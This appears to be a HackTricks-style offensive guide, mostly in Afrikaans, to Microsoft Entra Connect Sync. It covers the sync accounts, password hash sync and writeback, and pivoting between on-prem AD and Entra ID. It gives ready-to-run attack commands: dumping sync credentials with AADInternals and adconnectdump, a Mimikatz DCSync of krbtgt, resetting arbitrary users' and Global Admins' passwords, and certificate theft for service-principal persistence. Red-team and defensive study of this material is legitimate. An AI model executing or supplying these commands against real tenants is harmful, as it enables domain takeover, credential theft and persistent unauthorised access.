# Az - Connect Sync

{{#include ../../../banners/hacktricks-training.md}}

## Basiese Inligting

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) is 'n hoofkomponent van Microsoft Entra Connect. Dit hanteer al die operasies wat verband hou met die sinkronisering van identiteitsdata tussen jou on-premises omgewing en Microsoft Entra ID.

Die sync‑diens bestaan uit twee komponente: die on‑premises **Microsoft Entra Connect Sync** komponent en die dienskant in Microsoft Entra ID wat **Microsoft Entra Connect Sync service** genoem word.

Om dit te gebruik, moet die **`Microsoft Entra Connect Sync`** agent op 'n bediener binne jou AD‑omgewing geïnstalleer word. Hierdie agent sal die sinkronisering vanaf die AD‑kant hanteer.


<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>

Die **Connect Sync** is basies die "ou" Azure‑wyse om **gebruikers van AD na Entra ID te sinkroniseer.** Die nuwe aanbevole manier is om **Entra Cloud Sync** te gebruik:

{{#ref}}
az-cloud-sync.md
{{#endref}}

### Geskepte Principals

- Die rekening **`MSOL_<installationID>`** word outomaties in die on‑prem AD geskep. Hierdie rekening kry die rol **Directory Synchronization Accounts** (sien [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replication (DCSync) permissions in die on‑prem AD** het.
- Dit beteken dat enigiemand wat hierdie rekening kompromitteer die on‑prem domein kan kompromitteer.
- 'n Managed service account **`ADSyncMSA<id>`** word in die on‑prem AD geskep sonder enige besondere standaardvoorregte.
- In Entra ID word die Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** geskep met 'n sertifikaat.

## Sinkroniseer wagwoorde

### Password Hash Synchronization

Hierdie komponent kan ook gebruik word om **wagwoorde van AD na Entra ID te sinkroniseer** sodat gebruikers hul AD‑wagwoorde kan gebruik om by Entra ID aan te meld. Hiervoor moet password hash synchronization in die Microsoft Entra Connect Sync agent wat op 'n AD‑bediener geïnstalleer is, toegelaat word.

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is een van die aanmeldmetodes wat gebruik word om hybrid identity te bewerkstellig. **Azure AD Connect** sinkroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n on‑premises Active Directory‑instansie na 'n cloud‑gebaseerde Azure AD‑instansie.

Basies word alle **gebruikers** en 'n **hash van die wagwoord‑hashes** van on‑prem na Azure AD gesinkroniseer. Nietemin word **clear‑text passwords** of die **oorspronklike** **hashes** nie na Azure AD gestuur nie.

Die **hashes‑sinkronisering** gebeur elke **2 minute**. Maar, standaard word **wagwoordverval** en **rekeningverval** **nie** na Azure AD gesinkroniseer nie. Dus kan 'n gebruiker wie se **on‑prem wagwoord verval** het (nie verander nie) steeds voortgaan om **Azure‑hulpbronne te bereik** met die ou wagwoord.

Wanneer 'n on‑prem gebruiker 'n Azure‑hulpbron wil bereik, vind die **verifikasie plaas op Azure AD**.

> [!NOTE]
> By verstek word gebruikers van bekende bevoorregte groepe soos Domain Admins met die attribuut **`adminCount` op 1 nie met Entra ID gesinkroniseer nie vir sekuriteitsredes. Ander gebruikers wat deel is van bevoorregte groepe sonder hierdie attribuut of wat direk hoë voorregte toegeken het **kan gesinkroniseer word**.


### Password Writeback

Hierdie konfigurasie maak dit moontlik om **wagwoorde van Entra ID na AD te sinkroniseer** wanneer 'n gebruiker sy wagwoord in Entra ID verander. Let wel dat vir password writeback om te werk die `MSOL_<id>` gebruiker outomaties in die AD gegenereer moet word en meer voorregte toegeken moet kry soos in die [docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) aangedui, sodat dit die **wagwoorde van enige gebruiker in die AD kan wysig**.

Dit is veral interessant om die AD te kompromitteer vanaf 'n gekompromitteerde Entra ID aangesien jy die wagwoord van byna enige gebruiker sal kan verander.

Domain admins en ander gebruikers wat tot sekere bevoorregte groepe behoort, word nie gerepliseer as die groep die **`adminCount` attribute op 1** het nie. Maar ander gebruikers wat hoë voorregte binne die AD toegeken gekry het sonder om tot enige van daardie groepe te behoort, kan hul wagwoord verander word. Byvoorbeeld:

- Gebruikers wat direk hoë voorregte toegekry is.
- Gebruikers van die **`DNSAdmins`** groep.
- Gebruikers van die groep **`Group Policy Creator Owners`** wat GPO's geskep en aan OUs toegeken het, sal die GPO's wat hulle geskep het kan wysig.
- Gebruikers van die **`Cert Publishers Group`** wat sertifikate na Active Directory kan publiseer.
- Gebruikers van enige ander groep met hoë voorregte sonder die **`adminCount` attribute op 1**.

## Pivoting AD --> Entra ID

### Enumerating Connect Sync

Kontroleer vir gebruikers:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
Kontroleer die **Connect Sync konfigurasie** (indien enige):
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### Vind die wagwoorde

Die wagwoorde van die **`MSOL_*`** gebruiker (en die **Sync\_\*** gebruiker, indien geskep) word **gestoor in 'n SQL server** op die bediener waar **Entra ID Connect is geïnstalleer.** Admins kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks uittrek.\
Die databasis is geleë in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.

Dit is moontlik om die konfigurasie uit een van die tabelle te bekom, waarvan een geënkripteer is:

`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`

Die **geënkripteerde konfigurasie** is geënkripteer met **DPAPI** en dit bevat die **wagwoorde van die `MSOL_*`** gebruiker in on-prem AD en die wagwoord van **Sync\_\*** in AzureAD. Dus, deur hierdie te kompromitteer is dit moontlik om privesc na die AD en AzureAD.

Jy kan 'n [volledige oorsig kry van hoe hierdie inlogbewyse gestoor en ontsleutel word in hierdie praatjie](https://www.youtube.com/watch?v=JEIR5oGCwdg).

### Misbruik van MSOL\_\*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> Vorige aanvalle het die ander wagwoord gekompromitteer om dan te skakel na Entra ID gebruiker genaamd `Sync_*` en daarna Entra ID te kompromitteer. Hierdie gebruiker bestaan egter nie meer nie.


### Abusing ConnectSyncProvisioning_ConnectSync\_<id>

Hierdie toepassing is geskep sonder Entra ID of Azure bestuurrolle toegewys. Dit het egter die volgende API-magtigings:

- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
- Microsoft password reset service
- `PasswordWriteback.OffboardClient.All`
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`

Dit word genoem dat die SP van hierdie toepassing steeds gebruik kan word om sekere bevoorregte aksies uit te voer deur 'n ongedokumenteerde API, maar geen PoC is nog gevind nie, afaik. In elk geval, aangesien dit moontlik lyk, sal dit interessant wees om verder te ondersoek hoe om die sertifikaat te vind om as hierdie service principal aan te meld en dit te probeer misbruik.

This [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) released soon after the change from using the `Sync_*` user to this service principal, explained that the certificate was stored inside the server and it was possible to find it, generate PoP (Proof of Possession) of it and graph token, and with this, be able to add a new certificate to the service principal (because a **service principal** can always assign itself new certificates) and then use it to maintain persistence as the SP.

In order to perform these actions, the following tools are published: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).

According to [this question](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), in order to find the certificate, you must run the tool from a process that has **stolen the token of the `miiserver` process**.

### Misbruik van Sync\_\* [DEPRECATED]

> [!WARNING]
> Voorheen is 'n gebruiker genaamd `Sync_*` in Entra ID geskep met baie sensitiewe magtigings toegeken, wat dit toegelaat het om bevoorregte aksies uit te voer soos die wysiging van die wagwoord van enige gebruiker of die toevoeging van 'n nuwe credential aan 'n service principal. Vanaf Jan2025 word hierdie gebruiker egter nie meer standaard geskep nie aangesien nou die Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** gebruik word. Dit kan egter steeds in sommige omgewings voorkom, dus dit is die moeite werd om daarvoor te soek.

Deur die **`Sync_*`** rekening te kompromitteer is dit moontlik om die **wagwoord van enige gebruiker (insluitend Global Administrators) terug te stel**.
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
Dit is ook moontlik om **slegs die wagwoorde van cloudgebruikers te wysig** (selfs al is dit onverwag)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
Dit is ook moontlik om die password van hierdie gebruiker te dump.

> [!CAUTION]
> Nog 'n opsie sou wees om **bevoorregte permissions aan 'n service principal toe te ken**, wat die **Sync** gebruiker die **permissions** het om te doen, en dan daardie **service principal** te **access** as 'n manier van privesc.

### Seamless SSO

Dit is moontlik om Seamless SSO met PHS te gebruik, wat vatbaar is vir ander misbruike. Kyk dit in:

{{#ref}}
az-seamless-sso.md
{{#endref}}

## Pivoting Entra ID --> AD

- As password writeback geaktiveer is, kan jy **die password van enige gebruiker in die AD wysig** wat met Entra ID gesinkroniseer is.
- As groups writeback geaktiveer is, kan jy **gebruikers by bevoorregte groups voeg** in Entra ID wat met die AD gesinkroniseer is.

## References

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)

{{#include ../../../banners/hacktricks-training.md}}
